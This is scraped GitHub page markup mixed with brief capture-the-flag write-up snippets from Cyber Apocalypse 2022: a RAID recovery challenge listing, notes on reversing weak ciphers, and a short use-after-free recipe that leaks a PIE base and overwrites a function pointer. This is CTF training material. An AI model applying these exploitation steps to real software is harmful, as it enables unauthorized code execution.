<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>forensics_intergalactic_recovery.zip</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>imw_1337.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
<div id="readme" class="Box txt js-code-block-container js-code-nav-container js-tagsearch-file Box--responsive" data-tagsearch-path="Cyber Apocalypse 2022 Intergalactic Chase/forensic/Intergalactic Recovery/Readme.txt" data-tagsearch-lang="Text">
<div class="d-flex Box-header border-bottom-0 flex-items-center flex-justify-between color-bg-default rounded-top-2" > <div class="d-flex flex-items-center"> <h2 class="Box-title"> Readme.txt </h2> </div> </div>
<div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <div class="plain">Intergalactic RecoveryMiyuki's team stores all the evidence from important cases in a shared RAID 5 disk. Especially now that the case IMW-1337 is almost completed, evidences and clues are needed more than ever. Unfortunately for the team, an electromagnetic pulse caused by Draeger's EMP cannon has partially destroyed the disk. Can you help her and the rest of team recover the content of the failed disk? Download: http://134.209.177.115/forensics/forensics_intergalactic_recovery.zip</div> </div> </div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
**TL;DR**: Block cipher is easily reversible. We can bruteforce the initial key since we know what the first block of plaintext will be, and from there, we just do the same steps to encrypt, but we reverse the addition of bytes modulo 256 to be a subtraction of bytes modulo 256. |
**TL;DR** Defective PRNG means every block was encrypted with the same known key, all we have to do is reverse the columnar encryption, which is the same as it usually is, except the matrix/grid gets transposed in the middle. |
* Free the weapon heap chunk* Malloc a chunk with the same size of the the weapon chunk freed and fill it with chars until the pointer you want to leak.* Show the weapons and leak pie base.* Free again the weapon chunk and write the last 8 bytes with the ret2win function. * When you call show again it get executed. From Ghidra: (**(code **)(storage + 0x48))(); |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>PWN-Challenges/cyber-apocalypse2022/bonnie at main · vital-information-resource-under-siege/PWN-Challenges · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="EC5C:0F8F:196EE84E:1A389C12:64121B2B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="0b4259b25c4da6edcc607f324a07706f4165a08f1631c00ef3dfb86200de65ef" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzVDOjBGOEY6MTk2RUU4NEU6MUEzODlDMTI6NjQxMjFCMkIiLCJ2aXNpdG9yX2lkIjoiMTU0ODExODM2NTA2Njg5NDEyMyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="da176ee7881b963767a4766af1ba0a8c5765852e984eba5fc1754b69db36f992" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:334582086" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/bonnie at main · vital-information-resource-under-siege/PWN-Challenges"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="PWN-Challenges/cyber-apocalypse2022/bonnie at main · vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/bonnie at main · vital-information-resource-under-siege/PWN-Challenges" /> <meta property="og:image" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:image:alt" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/bonnie at main · vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="PWN-Challenges/cyber-apocalypse2022/bonnie at main · vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:url" content="https://github.com/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/bonnie at main · vital-information-resource-under-siege/PWN-Challenges" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/vital-information-resource-under-siege/PWN-Challenges git https://github.com/vital-information-resource-under-siege/PWN-Challenges.git">
<meta name="octolytics-dimension-user_id" content="55344638" /><meta name="octolytics-dimension-user_login" content="vital-information-resource-under-siege" /><meta name="octolytics-dimension-repository_id" content="334582086" /><meta name="octolytics-dimension-repository_nwo" content="vital-information-resource-under-siege/PWN-Challenges" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="334582086" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vital-information-resource-under-siege/PWN-Challenges" />
<link rel="canonical" href="https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/bonnie" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
